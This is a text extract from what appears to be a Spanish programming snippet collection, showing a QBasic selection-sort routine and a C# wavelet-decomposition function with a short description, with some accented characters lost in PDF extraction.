CLS PRINT " INGRESE CANTIDAD DE ELEMENTOS DEL ARRAY : " INPUT n a = n PRINT " INGRESE ELEMENTOS : " FOR i = 1 TO n INPUT a ( i ) NEXT i DO UNTIL n <= 1 m = -9999 FOR i = 1 TO n IF a ( i ) > m THEN m = a(i) j = i ELSE END IF NEXT i a(j) = a(n) a(n) = m n = n - 1 LOOP PRINT " # # # # # # # # # # # # # # # # # ORDENADOS DE < A > # # # # # # # # # # # # # # # # # # # " FOR i = 1 TO a PRINT " a ( " ; i ; " ) = " ; a ( i ) NEXT i

7.

Descomposicin Wavelet o
Autor: kicasta [Enlace al post] 14

Noviembre 2011

Lenguaje: C# Este Algoritmo brinda un procedimiento sencillo para hallar la descompsicin Wavelet de un vector mediante o su denicin clsica. La transformada Wavelet es una especie de transformada de Fourier, que se puede usar en o a el tratamiento de seales e imgenes. n a Se puede mejorar su costo en memoria, pero esto solo la har ms ilegible, que no es la idea. a a REMARK: el vector de entrada debe tener como longitud un nmero que sea potencia de dos. u Ms informacin: Wavelet a o
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

static double [] Wavelet ( double [] wv ) { double b = Math . Log ( wv . Length , 2) ; if ( b - ( int ) b == 0) { int levels ; double avg ; double [] wv1 = new double [ wv . Length ]; levels = ( int ) b ; for ( int j = 0; j < levels ; j ++) { for ( int i = 0 , pos = 0; i < wv . Length / Math . Pow (2 , j ) ; i += 2 , pos ++) { avg = ( wv [ i ] + wv [ i + 1]) /2; wv1 [ pos ] = avg ; wv1 [ pos + ( wv . Length /(( int ) Math . Pow (2 , j ) *2) ) ] = wv [ i ] - avg ; } wv = ( double []) wv1 . Clone () ; } } else throw new Exception ( " Invalid Argument Length " ) ; return wv ; }

15

You might also like